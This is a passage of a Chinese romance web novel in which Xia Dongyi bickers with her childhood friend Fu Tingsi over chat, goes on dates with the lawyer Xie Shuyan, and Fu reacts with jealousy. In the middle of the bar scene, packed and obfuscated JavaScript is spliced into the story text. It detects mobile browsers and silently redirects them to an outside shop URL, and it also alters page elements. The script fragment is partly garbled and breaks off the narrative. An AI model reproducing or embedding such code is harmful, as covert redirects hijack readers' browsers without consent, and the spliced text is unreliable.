这家伙晚上大概是不太忙,或者是一直在用手机,回消息的速度倒是很快:[让你失望了,我有备用鞋。] 夏冬意脑补他只穿了一只鞋子开车的画面,乐不可支,抱着手机歪倒在秋千椅上,继续给他发消息:[你真的放心让我洗你的宝贝爱鞋?] 和女生喜欢买化妆品一样,男生都爱买鞋,傅亭斯有一墙的鞋,全是收藏品,鞋子就和他的命一样重要,谁要是弄脏了他的鞋,准要发好大一通火,从小就如此。 夏冬意也不知怎么的,明明知道他有不可触碰的底线,偏偏不顾死活的触他逆鳞。 这话说出去,无疑又是挑战傅亭斯的底线。 不过,夏冬意也觉得很奇怪的是,傅亭斯这样一个爱鞋如命的人,怎么会愿意把鞋子留给她。 这似乎不太合乎常理。 但是夏冬意又觉得很好理解,因为傅亭斯就是这样的,就是专爱捉弄她,给她出难题。 他肯定知道,她不敢真的拿他的鞋子怎么样,就是为了气她。 这个臭傅亭斯,死傅亭斯! 夏冬意恨不得跳起来狠狠的,多踩他几脚才解气。 傅亭斯的消息在约莫过了两分钟以后才到。 不要脸的狗:[拍个照片我看看。] 夏冬意打了个问号过去。 不要脸的狗:[我要确定一下,我的鞋子还在。] 果然,傅亭斯是了解她的。 夏冬意一边轻晃着秋千,一边慢吞吞地制了一张图片。 差不多一分多钟的样子,搞定。 发送。 另一边。 傅亭斯还在加班,偌大的办公室里,伴随着飞快的打字声,桌上铺着一些文件。这三年,他几乎在基层每个部门都过了一遍,但父亲仍旧觉得他能力不足,现在还只让他担任着部门经理的职责。 加班是家常便饭。 夏冬意的消息,在这个晚上,仿佛是繁忙工作中短暂的纾解。 消息再次进来的时候,傅亭斯粗粗扫过一眼,本打算放着过会儿再看,却被上面的图片吸引了目光。 他点开—— 上面的这张照片,是他大概七八岁的时候,夏冬意在上面画了一个抽象画,给他的手上牵了一根绳子,绳子后面栓一只简笔画小白狗。 图片正下方有一排手打字:傅亭斯,你看,我把你画的好看吗? 也不知出于什么心理,那个下意识里心念一转,傅亭斯长按了一下图片,将它保存在了相册里。 也许下一次能用到。他想。 然后给她回复消息:[开心了吗?] — 在收到这句话的时候,夏冬意满以为,傅亭斯又是在挑衅她,就在她想着用什么话回怼他的时候。 收到了他发来的第二条信息。 [要是能让你开心,我甘愿做一次狗。] 夏冬意心脏没来由地重重一跳。 她忽而想到了他买给她的,现在正躺在她卧室的大床上的,那只狗狗玩偶。 心间有一种微微荡漾的酥麻感。 她强压着嘴角,发了一条傲娇的语音:[我不信。] 傅亭斯在点开这条语音之前,调低了一点音量,将手机放在耳边听了几秒。 之后,重新把手机握回手心,单手打出了几个字,发送。 不要脸的狗:[汪汪汪。] 夏冬意以为看错了,揉了揉眼睛。 不要脸的狗:[汪汪汪。] 傅亭斯怎么变得这么配合了? 夏冬意不相信,得寸进尺道:[发条语音来听听。] 傅亭斯笑了,他就知道。 不过会儿,夏冬意收到了一条新消息。 不要脸的狗:[下次见面吧。] 4. 小狗不听话 “下次见面吧。” “下次见面吧。” 这几个字,把重音放在前面、后面,夏冬意各读了几遍。 越读越怀疑。 手速飞快打字:[这么期待和我见面,该不会真的暗恋我多年吧] 本来夏冬意想写“觊觎”,来衬托她的高高在上,一咂摸,这个字略显猥琐,就还是暗恋好一点儿。 没等对方发过来,她接着又秒发了一条:[为了能再见我一面,让您煞费苦心了] 看到消息的傅亭斯先是打了一个问号,而后,面无表情地送了她一句话。 不要脸的狗:[那就别见面了。] “……” 重点是这个吗? 夏冬意严重怀疑他的阅读理解有问题,刚想打字,夏冬意停下。 等等,她要是这么说,万一被误会成为她希望和他见面怎么办?更何况,傅亭斯阅读理解这么差,是极有可能的。 于是夏冬意一本正经打起字来:[你看,为了和我见面,你是什么招都想得出,你以为我会上当吗?] 滴滴两声,不要脸的狗:[你不会真看上我了吧,可别,我不喜欢你这样的类型] 夏冬意脑补了他的语气和神态。 简直气炸了。 自恋狂,臭狗屁! 夏冬意差点把手机都砸出去了。手机当然是不可能砸的,现在换个手机是件顶麻烦的事,夏冬意站起来狠狠跺了几下脚,才稍稍解气了一点。 气头上,她啪啪啪狂打字,似乎要把手机都敲烂:[那就一辈子都别见面了!] 发出去之后,夏冬意冷静了一下,发觉这句话非常不合适。这不是侧面证明了她想见面,更证实了傅亭斯的话? 夏冬意盯着那一排字,心里十分懊恼后悔,想撤销,又担心傅亭斯那条老狗已经看到了,不就更说不清了吗? 虽然她根本不是那个意思,但以他那人的自恋程度,一准会认定的,说不定还会截图保存,成为她暗恋他的证据。 夏冬意忍耐着,等了一秒,两秒,三秒,也不见对面有动静,气得把手机扔出去,过不到一会儿又捞回来。 还是没有任何动静。 啊啊啊啊啊。 夏冬意要疯了。 她开始坐立不安,想做点什么,但这会儿,他不发过来,她也不可能贸然出招。 不行不行。 夏冬意咬着嘴唇,心里像是被无数虫蚁啃着,难受的要死,纠结的要死,还夹杂着一种说不出的羞燥,但她也只能在原地打两个转,跺跺脚,再把头发揪得像麻花一样,别的什么也做不了。 傅亭斯就是故意的。 夏冬意最后下了这么一个结论,眼不见心不烦,把和他今晚的聊天记录都删了,也把他从通话栏里删掉了。 做完这些,夏冬意舒服的长吁一口气,仿佛终于把自己从这尴尬和自我内耗之中解脱了出来,开开心心地叉起一块猕猴桃,放进嘴里,不再去想这件事了。 之后几天,夏冬意再也没见过傅亭斯,本来说好周末来家里吃下午茶,他估计也不会来。夏冬意并不承认她在翘首以待,傅亭斯那狗也就客气客气才那样说的,他工作那么忙,怎么会来。 倒是江笑妍十分关心她和傅亭斯的发展情况,夏冬意信誓旦旦的说,妈妈你怎么会想把我和傅亭斯凑到一块儿的,他那个贱人,他配得上我吗? 江笑妍见女儿态度坚决,也没有过多计较在这个问题上,只是说,这周六有没有空,妈妈有个律师朋友,他们事物所有个和你年纪相仿的同事,海市交大毕的业,博士生,在外面留过学的,很受领导器重,照片妈妈已经帮你看过了,长得斯斯文文的,相信你肯定喜欢。 江笑妍的那个律师朋友,比江笑妍小一轮,江笑妍心态年轻,结交的朋友也都是一些比她小的,她喜欢称她们为“小朋友”。夏冬意不仅认识她的这个朋友,也见过几次面,她还知道,这个朋友工作的律所就是红圈所之一的君合。 随后,江笑妍便把这次相亲对象的照片发给了夏冬意。 看到夏冬意还是有些抵触情绪,开导道,咚咚,爸爸妈妈不是真的想要你这么快嫁人,我和你爸爸就你这么一个女儿,我们现在创造的一切将来也都会留给你,你是我们在这个世界上唯一的亲人,唯一合法的继承人。但一个人如果只有物质上的富足,没有精神和感情做寄托,也会日渐的枯萎和空洞起来。 我和你爸爸始终都要老去的,不能够永远陪着你,在爸爸妈妈还有能力的时候,我们想尽快帮你物色一个各方面都不错的男孩子,做你未来的丈夫,代替我们陪伴着你。 夏冬意听着感到有几分难受,她连忙抱住江笑妍,撒娇,妈妈,我让你和爸爸永远陪着我,永远永远,你们会长命百岁的。 江笑妍笑着摸摸她的头,傻孩子。 夏冬意并不是不能体会父母良苦用心,更不是不知愁滋味的富家小姐,其实她也很希望能通过相亲,觅得合乎心意的另一半。纵观这二十七年,她唯一觉得遗憾的是,没有好好谈过一次恋爱,导致现在,在这方面的经验非常缺失。 倒不是因为长得差强人意,没有人追,这也和她的成长经历有关,她从小对钱是没有什么概念的,也不是一生下来就知道家里比一般人家都富足的事实,父母为了培养和教育她节俭的优良传统,她从幼儿园起上的就是公立学校,吃穿用度上和其他人也没有什么区别,甚至在她小学的时候,一度以为家里挺穷的。 和她有一样经历的,还有傅亭斯。 两家父母联合一起,陪他们演了一场戏,这一演就是十几年。直到上了高中,两人才知道了各自家里的真实情况。 当时知道以后,夏冬意非常郁闷,拉着傅亭斯偷偷跑出去喝酒,那是她第一次喝酒,喝得烂醉,吐了他一身,最后据妈妈说,还是傅亭斯背她回来的。 然而,夏冬意对 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“咚咚,你竹马应该是个帅哥吧。” 大学那会儿,室友就这样问过她。 夏冬意对着桌上放的镜子,往脸上贴着面膜,慢悠悠说道:“怎么可能,他丑爆了,全天下找不出比他更丑的人了,还自夸自己长得很帅,你们知道,男人自恋起来不是盖的,长得一般的,他可能以为自己帅过潘安,个子一米八的能把自己吹成姚明。” 她不是嘴上说说,是真这么想,所以当室友提出来让她把傅亭斯带过来让她们开开眼界,到底有多丑的时候,夏冬意一下有点慌,觉得怪丢人的。 就像你见过一个人最丑的丑态,哪怕他在别人眼里是光鲜,但在你眼里,他仍旧是拿不出手的。 随即她想起来,哦,傅亭斯还在国外呢。于是又继续坦然地敷着面膜,悠悠然然地说道:“他不在国内,半年前就出去了。” 江市的人均GDP不低,尤其是近几年,高中以后出国的比比皆是。所以室友们也不再追问了,想看傅亭斯的念头,也就不了了之了。 如果排除其他条件都不看,夏冬意的理想型不能没有的就是“温柔”这个选项。 她将来的另一半,可以接受比傅亭斯矮,但要比他温柔一万倍。 她将来的另一半,可以接受比傅亭斯丑一点,但要比他温柔一万倍。 她将来的另一半,一定要,一定要,非常非常的温柔。 为什么? 因为傅亭斯,他真的太、太、太欠扁又毒舌了。 她已经受够了他的不温柔了,而她之所以每回对傅亭斯都那么不淑女,也是因为他的不够温柔。 所以她的理想型,为什么一定要和傅亭斯比呢? 还没等夏冬意想明白这个问题,她的下一场相亲紧随而来。 而她和傅亭斯本就不牢靠的塑料关系,也因这场相亲,被推到了悬崖之上。 5. 小狗不听话 促使夏冬意改变主意的原因,除了江笑妍的那番话,还有照片里那斯文白净的长相,眉眼之间流淌着的毫无攻击性的书卷气息。看起来像是个很温柔的人。 名字也很好听,叫谢书言。 看看,这就是人与人之间的差别,比那什么的,傅斯亭这种的好听一万倍。 相亲那么多回,遇上的奇葩数不胜数,坦白说,夏冬意还是不敢抱有太大期待。 她打算先和对方在微信上聊聊,再确定是否正式见面。 聊了几天后,夏冬意发现对方是个挺有分寸,有礼貌,相处起来没什么压力的人。 也许是因为对方是这样温柔的人,所以不自主的,夏冬意也隐藏起来了自己真实的一面,变得温柔淑女也矜持。 她对谢书言没有太多反感,相反还挺有好奇,所以当对方提到他在她公司附近办事,中午要不要一起吃个饭的时候,夏冬意没有拒绝。 谢书言和她想象中并无太多反差,穿着一件白色休闲西装,看起来很儒雅绅士,在他点好餐,动作自然随意地将餐单交还给服务员,扭过头来的时候,夏冬意坦言笑称,他改变了她对律师一贯的刻板印象,原来律师穿白色西装也这样好看。 谢书言似是没想到,一向给他文静的女孩说出这样的话来,楞了稍有两秒,看着她的眼睛,缓缓笑了一笑,说道,那是因为你没遇到在法庭上的我。 夏冬意喝了一口果汁,问,在法庭上的你是什么样的? 谢书言帮她把杯里的果汁续满,不疾不徐地说道,下周末我有一场官司要打,要不要来现场看看? 夏冬意心念一动,点头答应,好呀。 谢书言的温柔细心带给了夏冬意无限好感,两人像是认识多年的老朋友那样相谈甚欢,在谢书言帮她撩起不小心掉落下来沾到了菜里的袖子时,夏冬意也会收起以往的大大咧咧,垂下眉眼,低声向他道一声谢谢。 这些不自知的羞怯和矜持,让夏冬意事后想起来也感到匪夷所思和震惊万分,吃惊于她竟也有这样的一面。 但终归不是自己最真实的一面,夏冬意也产生了新的烦恼和担忧,面具总是戴不长久的,总有一天是会脱落下来的。一段无法做真实的自己的关系,是无法长久的。 有了第一次见面,便会有第二次,第三次,还有往后的很多很多次。 这是谢书言的原话。 短短几天,夏冬意和谢书言就见了三次面。每次都是谢书言来约她,后来渐渐地,每天下班,夏冬意都会看见谢书言的车停在公司楼下等她,俨然像是男朋友的身份。 这段关系,仅一周时间,迅速地发展着。 周末,夏冬意如约去了江市人民法院,在那里见到一个与往日不同的谢书言。结束之后,谢书言和委托人走出来的时候,看到夏冬意站在门口。 谢书言结束那边的谈话,来到夏冬意跟前。 “恭喜,”夏冬意对他比了个大拇指,由衷说道:“你刚在庭上真有舌战群儒那味,完全和你平时像两个人。” 谢书言眼含笑意,接住她崇拜的目光:“帅到了?” 夏冬意用力点了点头:“嗯,有帅到。” 谢书言笑着道:“走吧。” 两人并肩走出法院大门。 “夏冬意?” 身后传来的这声喊,让夏冬意微微地错愕,驻足转头,身旁的谢书言也随着她的动作停了脚步,一同向身后望去。 看见是方棋彻时,夏冬意定了定神。 “真的是你啊,我还以为认错人了。”方棋彻大步走过来,看了看谢书言,有些意外:“这是你男朋友?怎么没听我老大说起过?” 夏冬意一听这话就来气:“我有没有男朋友,还要经过他傅斯亭批准不成?” “我不是这个意思,”方棋彻一听就听出来这两人肯定又因为不知什么事吵架了,只好避开了这个话题问道:“你怎么也在法院?” 夏冬意朝谢书言努了努嘴:“来看我朋友打官司,他是律师。” 这话让方棋彻不自禁多打量了谢书言几眼,想起自己还有事要忙,没再多唠嗑,打了声招呼便分开了。 — 傅亭斯连轴加了一周的班,好不容易手头的项目告一段落,家都没来得及回,澡都没洗一个,就被几个铁哥儿们拉来喝酒了。 一进包厢,傅亭斯随手把脱下的西装外套往扶手上一搭,解开两颗衬衣扣子,歪身靠在沙发里。 方棋彻给自己和傅亭斯都要了血腥玛丽,这间酒吧开了有些年头了,读书那会儿他们就经常来,那时候血气方刚的少年人,喜欢在一楼的卡座,看着舞池中央癫狂劲舞的人,耳膜被震得炸响,点一杯血腥玛丽这样的烈酒,就觉得很享受,很有派头。 而现在则更喜欢找个清净的包厢,就他们这圈子里的几个人,聊聊天,喝喝酒。血腥玛丽还是十年前那味道,但身体里的血液比起那时候已经沉淀了许多。 他们这几个好兄弟,从高中一路走到现在,想来那时候在学校里也是如同风云人物一般的存在。他们这四个人,傅亭斯,方棋彻,童淼森,徐亦然,除了傅亭斯,其余三个人不仅学习不好,还专门以欺负同学为乐,还结交了一堆外面的混混青年。 学生时代的傅亭斯可谓是德智体美劳全面发展到五好学生,一次偶然的机会让他遇到了正在欺负低年级同学的方棋彻等人,他因看不惯他们的行为,路见不平拔刀相助,也因为这场不打不相识,反倒让他们五人成为了好兄弟。 中间也发生了很多事,方棋彻从来不认为自己是什么好人,但那时候或许是受到武侠剧的影响,让他们这些少年之间也沾染了一些江湖侠气,在不断地交往和熟悉之下,对傅亭斯越来越信任和敬仰。那时候也才十五六岁,正是谁也不肯服谁的年纪,但傅亭斯身上似乎有一种得天独厚的领导力和感召力,在他们这个小团队里,他永远都是拿主意和主持大局的人,出了事也能二话不说就扛下来,只要有他在的地方,就能让人无来由的安下心来。 傅亭斯自然也就成了这个小团队里名副其实的“老大”,而方棋彻等人也在他的影响之下“改邪归正”,甚至后来还考上了不错的大学,通过自己的能力,有了现在的成就。 不过这些事情也都是他们兄弟几人的秘密,没有第二个人知道,就连夏冬意也并未曾听傅亭斯提过,只知道他们四个人关系特别好,是傅亭斯最好最好的朋友。 坐了没多久,童淼森和徐亦然姗姗来迟。工作以后,他们四人难得能像现在这样聚在一起,聊了聊近况,方棋彻想起前一天在法院门口碰上夏冬意的事,顺嘴就提了句。 “男的?”傅亭斯眯了眯眼,举到嘴边的酒杯忽地停下,被他轻轻转动着,似把玩着,带几分漫不经心的哂笑,“哪个男的能看得上她?” “看起来像是个律师,长得人模人样的,应该是相亲对象吧,”说到这,方棋彻看了眼傅亭斯的表情,试探道:“夏小妞好像还挺喜欢他。” 傅亭斯轻哼一声,没有回话,仰头将杯里的酒一饮而尽。 对面的童淼森却是接话了:“听说夏冬意一毕业就忙着相亲,江市这边差不多年纪的男的几乎都相了个遍,硬是没把自己嫁出去,你们都没听说,老傅,你不可能也没听说吧,就你们那圈里的,我估计就差你了吧。” 徐亦然朝童淼森使了个眼色,让他别说了。 傅亭斯的脸色已经不好看了。 童淼森多喝了几口酒,说兴奋了,压根管不住自己的嘴巴:“不可能吧,别说你们圈子里的都传开了,就连我都听到过好几回了,上次跟一个客户吃饭,提到这事,就说人夏家的门也没有想象中那么难入,我一听就知道什么事儿了,就明里暗里讽刺夏冬意跌价呗,什么人都能跟她相亲……” 话还没说完,傅亭斯手一抬,袖箍撑着左臂上缘,因为用力,从衬衣下面露出的小臂,青筋蔓延,有一股蓄势待发的力量在极力隐忍,势如破竹般蠢蠢欲动。 接着,看到他手扬起的风影落在墙上,说是迟那时快,只听哐当一声,一只水晶烟灰缸砸到了童淼森脚边。童淼森酒醒了一大半,脸色吓得铁青。 傅亭斯放下了脸,抬眼直直盯住他,漆黑的眸光如利刃般穿透过来,冷声道:“说够了没?” 场面不可遏制地静了下来。 傅亭斯是很少动气的,大多数时候的他都是一副懒懒散散,游戏人间的态度,哪怕说起一些敏感的话题,他也只是露出似笑非笑的表情,好像没有什么事情是他放在心上的。 他们几个兄弟刚认识夏冬意那会儿,因为小姑娘是个大大咧咧的性格,被言语中伤的时候,她仿佛听不出来,跟着傻乐呵,时间久了,他们几个也就不怎么尊重她了,时常拿她开一些不适合的玩笑。 傅亭斯因为这事儿发过一次火,自此之后,没有人再敢拿夏冬意随便开玩笑了。 不论他傅亭斯私底下怎么捉弄夏冬意,也都只介于他们之间,但是别人敢这么欺负她,那就试试看。这是傅亭斯当初的原话。 方棋拍拍傅亭斯的肩膀,打圆场道:“淼森喝多了就口不择言,你知道他的,就这么个坏毛病,他对夏冬意没有那个意思,而且那个客户,我也听他说过一回,因为这件事,森淼也暂停了合作。” 徐亦然看了眼童淼森。后者马上领悟了意思,摸着头不好意思道:“老大,你别忘心里去,我就是一时嘴快,没过脑子,老方说得对,我没那个意思……” 傅亭斯搁下酒杯,懒得多说废话,拎起外套,走出了包厢。 “你们看我,酒一多话也多。”童淼森烦躁地抱着头,揉成一团,那几根本就没有多少的毛,快被抓秃了。 方棋彻拍拍他的肩膀坐下来:“你也别自责了,这正好说明了这少爷对夏冬意相亲的事很介意。” 徐亦然和童淼森意一齐转过头看他,两脸惊讶。 方棋彻不紧不慢说道:“老大的性格,你们难道不了解,他是这么沉不住气的人吗?而且这也已经不是第一次了。” 徐亦然想起来:“上次好像是他们开初中同学会,夏咚咚去国外旅游没去成,老大代他自己和她去的,后面听说把他们班一个男生揍进医院了,好像就是那男生乱开夏咚咚的玩笑。” 童淼森没多想的说:“这也好理解啊,他俩从小一块儿长大,老大又是那么仗义的性格,就算是我们之间,如果有人在外面说我们其中任何一个人的坏话,他肯定也会发火的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054624|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这确实好像没有什么问题。 但方棋彻还是觉得有点不太对劲。 那种不对劲,是一种无法言说的微妙感。 是在刚才,说到夏冬意好像挺喜欢那个律师的时候,傅亭斯漫不经心的表情背后,在那来回轻轻转动着的水晶玻璃杯后面。 方棋彻意外瞥见了一抹落寞神色,自幽冥般剔透的光弧底下,一闪而过。 — 傅亭斯窝着一团火走到电梯口。电梯还没上来,锃亮的电梯门倒映着颀长的身影,和阴沉的脸色,他扫了一眼,心里那团火非但没降下去多少,反而越烧越旺。 今天是怎么了? 傅亭斯烦躁地揉着眉心,自觉这通邪火发得莫名其妙,却控制不住。 他从口袋里掏出手机,找到夏冬意,本是单手操作就可以编辑完成的信息,傅亭斯将拎着的西装挽到臂间,郑重其事地双手操控着手机,一鼓作气,快速打出一排字。 [夏冬意,你就这么急着把自己嫁出去?] 不行,语气不对,傅亭斯急不可耐地全部删除,又忍着火气打起字来。 [那律师是个什么样的人,你了解过吗,就这么跟人出去,就你这傻样,别把你卖了,你还要给人数钱] 不行不行。 以夏冬意的脾气,看到他这话,肯定得跳起来了,说不定过两天就跟那律师扯结婚证去了。 傅亭斯深呼吸了好几口,终于恢复了理智,冷静下来,一个字一个字编辑出一条还算看得过去的话。 [明天有空没,咱俩聊聊?] 发送。 下一秒,跳出一个红圈,以及一段灰色的小字:消息已发出,但对方拒收了。 傅亭斯盯着那几个小字看了好半会儿,确定自己被对方拉黑之后,突然冷笑了一声。 夏冬意,你好样儿的。 — 又是一个周末。 一大早,夏冬意顶着鸡窝头,睡眼惺忪下楼喝水,听到厨房传来动静,这么早会是谁呢? 怀着好奇,她稍稍加快了脚步,走到厨房看到江笑妍正忙活着。 “妈妈,你又在做甜点了,”夏冬意揉了两把头发,恢复了慢吞吞的动作,走到中岛台前,抓起水壶倒了一杯喝完,“先说明啊,我不吃。” 江笑妍把面粉和水按比例混合,用保鲜膜封上,这才抽空转头瞧了眼夏冬意,见她正没个样子的仰头咕咚咕咚大口喝着水,倒也没说什么:“我做这又不是给你吃的,中午小斯要来家里吃饭,他最喜欢吃我做的甜点了。” 夏冬意又想起了上次那件事,一想起就气得想抓头发。说来也奇怪,她和谢书言在一起的时候,谢书言都夸她好文静好温柔,但是一看到傅亭斯就莫名变得很暴躁。 有句话说的好,就是你和谁在一起的时候,你就是对方的镜子,他是什么样,你就会变成什么样。 夏冬意觉得这话安在傅亭斯身上正合适,正因为他是一个很不温柔的人,所以导致她也变得那么容易暴躁。 对,一定是这样的! 本来夏冬意还有心情上楼继续睡个回笼觉,江笑妍的话让她瞬间清醒了,她赶紧飞奔上楼,进入衣帽间,打开衣柜门,抓起几件衣服就往身上比量。 “咚咚,”江笑妍在楼下喊她,“你不是说中午要和书言出去吃吗,他什么时候来接你,妈妈给你包里放两个蛋糕,路上吃。” 夏冬意偏着头换耳环,怀里抱着某品牌新出的套裙,走到门口喊下去:“不用了,妈妈,你就留着给傅亭斯那条狗吃吧。” 话音刚落下,听到江笑妍在楼下惊讶又带着惊喜的声音:“小斯,你怎么这么早来了?” 接着传来那让夏冬意万分熟悉的低醇嗓音:“江姨,这是我妈让我带来的,她这次出国给你买的。” “啊呀,来就来了,还带什么东西,小斯你先坐一会儿。” “江姨,咚咚还没起床?” “她啊,已经起了,不知在楼上捣鼓什么,我去喊她下来。” “不用,您忙吧,我去叫她。”傅亭斯语气平静说完,迈步走上楼。 糟了糟了。 傅亭斯的脚步声一下一下地踩在楠木地板上,一下一下,沉稳有力,夏冬意的心脏也跟着紧缩起来。 脚步声越来越近,夏冬意慌了神,抓着那几件衣服,一只耳朵上的耳环还没有摘,连忙跑进衣帽间。 就在她关上门准备装死的时候,忽然反应过来。 等等,她为什么要怕傅亭斯,她又没做什么亏心事! 于是,夏冬意将门重新敞开,大摇大摆地站在大片落地镜前试衣服,傅亭斯的身影在这时恰好出现在了她的门口。 他靠在门框边,默不作声地看着她像一只花蝴蝶一样,在面前拿起这件衣服,又摘下那个配饰,在这房间里飞来飞去,仿佛压根看不到他似的。 傅亭斯像是憋了许久,终于忍不住地冷笑了一声:“一大早不睡觉,在这换衣服,不是知道我要来了,专门穿给我看的吧?” 夏冬意歪着头将脖子上的项链取下,眼也没抬的,学着他的模样,也冷笑了一下,凉凉吐出几个字:“人长得丑,想得倒是挺美的。” 6. 小狗不听话 长这么大以来,夏冬意是第一个说他丑的人。小的时候妈妈每次带他出门逛街,听得最多的话就是“这孩子长得像个洋娃娃一样,真漂亮”,一个男孩子被形容成为漂亮,可想而知,五官是极其的精致了。他经常被怀疑是混血,甚至还有一些大爷大妈忍不住的喜欢摸摸他的小脸,每当这个时候,傅亭斯就很烦,这个阴影一直留到了现在,最不喜欢的就是逛街。 可以说,从小到大,因为长得太好看,傅亭斯深受困扰,虽然也有很多的优待,但只要有他的场合,总难免引起注目,而他也正是在这样的簇拥和夸赞中一路成长过来的。 外貌焦虑在傅亭斯这里,压根不存在。以至于,每次夏冬意一脸不屑的骂他丑的时候,傅亭斯都不怎么放在心上,把她这话当成是嫉妒他的证据。 这次也一样,傅亭斯抱手懒靠在门口,笑的漫不经心:“和我呆得时间久了,有助于提高你的审美,这不怪你。” 夏冬意实在不明白,这天底下怎么会有这么厚颜无耻的人。她真的很想吐,但还是很艰难地忍住了,没再理会他,走到另一边,背对着去够衣柜上层的包。 这一排都放着一些名牌的包包,夏冬意平常通勤不怎么背,就只有和朋友出门玩才会背一下,这层放的比较高,需要用到梯子,她也懒得走过去。 估计是被傅亭斯这家伙气得昏了头,夏冬意一点也不想看到他,又不想在他面前爬梯子,硬是倔着,拼命垫着脚伸长手臂,还是没能够到那排包包。 夏冬意身高不算矮,一米六九点五,这是她身高的准确数值,每逢人问起时,她都会连同小数点后面的一块加上,有一次让傅亭斯听到了,这家伙歪着嘴笑话她,就算让她够上一米七,也还是个小矮子。气得她反诘,浓缩就是精华懂不懂,个子高有什么用,个子高平衡感差,脑子也不好,营养成分都让身高吸收走了,智力发育有缺陷。 每回这时候,傅亭斯就只笑笑不说话,任她说。 当初在打这口柜子的时候,夏冬意猜想,她父母肯定是以为他们女儿能长到一米八以上,这么不人性化的设计是谁想出来的。她心里这么想着。许是太过专注,并没有注意到身后靠近的人。 直到那高大的身形完全罩住了她纤瘦的身体,一只手臂从后面伸过来,轻松地扣住那只她拼命够都没够到的包包。 有那么一刹,夏冬意呼吸都慢了一下,心脏有漏跳一拍的嫌疑。 傅亭斯没有马上离开,两指捏着包包在她眼前来回晃了晃,示意她接。 两人挨得很近,彼此之间,温热的呼吸,体温和心跳,每一个在平常并不会放在心上的细节,在安静的空气中被无限放大。 夏冬意低头看着那修长的手指,一时没回过神来。 头顶后侧传来熟悉的轻笑声,傅亭斯用他一贯在逗弄她时才会出现的戏谑的语气:“夏冬意,你该不会……真的暗恋我吧?” 他的吐息轻轻落在脖子后侧裸露在外的皮肤上,夏冬意感到心脏一阵紧缩,那块沾染了他气息的皮肤很快的起了一层鸡皮疙瘩。 见她没有反应,傅亭斯接着说道:“不是暗恋我,为什么一大早跟个猴子一样在这里上蹿下跳?” 夏冬意闭了闭眼睛,深呼吸一口气,睁开眼,然后转过身,重重地踩在傅亭斯的脚上,望着傅亭斯一脸扭曲狰狞的表情,绽开一个超大笑脸,慢吞吞说道:“我看你就是米缸里的臭老鼠,到处乱窜。还我暗恋你呢,我就是暗恋方棋彻,我也不可能暗恋你,你以为全世界的女生看见你都得暗恋你吗,在我眼里,方棋彻都比你长得好看!而且我今天还要去约会,谁有空理你啊。” 说完,夏冬意气冲冲地扭头就要走,被傅亭斯一把拉回去。 “你干嘛?!”夏冬意火气不小,用力挣扎,傅亭斯力道很大,钳制着她,两人体型差距大,傅亭斯热衷户外运动,冲浪攀岩徒步登山跳伞,还都不是浅尝辄止,他的体力和臂力不是那种寻常健身房里练出来的,跟充了气的肌肉,而是实实在在的“穿衣显瘦,脱衣有肉”的类型。 夏冬意在他面前宛如一只小鸡仔一样。 但她真的太生气了,也没注意到傅亭斯也在火气的最边缘,随时可能爆发出来,用力扭动着手腕,骂道:“傅亭斯,你这条疯狗,你放手,你弄疼我了,你知不知道!” 傅亭斯几乎在一瞬之间静了下来,他直勾勾地盯着她,眼睛又湿又亮,执着地注视着她,刚刚眼里那两蹙火苗似乎也刹那间被浇灭了,只是低沉着声问她:“你真的在和那个人交往?” 夏冬意觉得他今天简直莫名其妙,其实她和谢书言还不算正式交往,但不知怎么的,夏冬意不想在他面前露怯,也不想被他认为是没人要,微仰下巴轻轻嗯了声:“当然是啊。” 傅亭斯眼里的亮光逐渐寂寥,他松开了力道,本想问她一句“为什么要把他拉黑”,现在也没了意义,转身走出门去。 夏冬意觉得他怪怪的,但她也想不出是什么理由让傅亭斯一下子变成这样了,他的背影看起来非常让人不安,虽然两人闹归闹,但夏冬意是个气来的快也走得快的人,不免担心起来,随手把衣服往衣柜里一扔,追了出去。 “傅亭斯,你等等我,你又发什么毛病啊,说走就走?”夏冬意跑出来,傅亭斯在前面走,完全没有要理她的意思,夏冬意干脆拦住了他的路。 傅亭斯这才止住了脚步:“不是你让我走的?” 夏冬意更加莫名其妙了:“我说过这种话?” “你刚才不就是这个意思。”他说完,绕过她走开。 夏冬意急着拉住他,两人的动作都在这个动作发出后,不约而同地停滞住了。 傅亭斯微垂着眸望着她,那黝黑的眸光深不见底,声音仿佛也沉入谷底:“为什么拉黑我?” 夏冬意被他看得呼吸一停,她撇开了视线,讷讷道:“不是你说的,不要再见面了。” 傅亭斯看了会儿她,接着,没有任何留恋的,将手从她手里抽出:“那就别见了。” 他走了。 夏冬意听到一步一步下楼梯的声音,和他上来时候的声音一样。 又好像不一样。 她的心好像也在这一步,如千钧重的脚步声中,慢慢地掉落下去。 掉落下去。 不见面就不见面,这样最好。 傅亭斯,你的鞋子没有了。 — 那天傅亭斯没有留下吃午饭,夏冬意虽然和谢书言约着会,却打不起精神来。 和傅亭斯也不是第一次吵架了,向来他俩吵架或者打冷战,要不了两天就能好了,无论吵得多凶,只要任意一方主动说话,这事就算揭过去了。已经成为了他们之间无需言语的默契。 但今天,不知什么情况,夏冬意一静下来脑海中就反复地出现傅亭斯那决绝的眼神,和他最后对她说的话。 以前吵得再凶,他都从来没有这样过。 谢书言同夏冬意说话,她都像没听到一样。那会儿谢书言开着车,侧头看向她,女孩儿正托着下巴,似乎全然沉浸在自己的世界里,心事重重地望着车窗外。 “心情不好吗?”谢书言问。 夏冬意回过神来,脸上甚无表情地摇了摇头:“说不上来,就是有一件事情想不通。” “想不通就不要想了。”谢书言安慰。 夏冬意重新把头扭向窗外,声音近似缥缈地回答他道:“说起来也不是一件迫在眉睫的事,但是我心里好像总有一根刺戳着,想不明白的话,心里很不舒服,大概率会影响到晚上的睡眠。” “是什么事,能同我讲讲吗?”谢书言身上有一种男人的成熟稳重感,当他语气平静地说完这番话,侧头深深看了眼夏冬意,恰好这时,夏冬意刚好转过了头来,在这短暂的一瞥当中,夏冬意忽然有了倾诉欲。 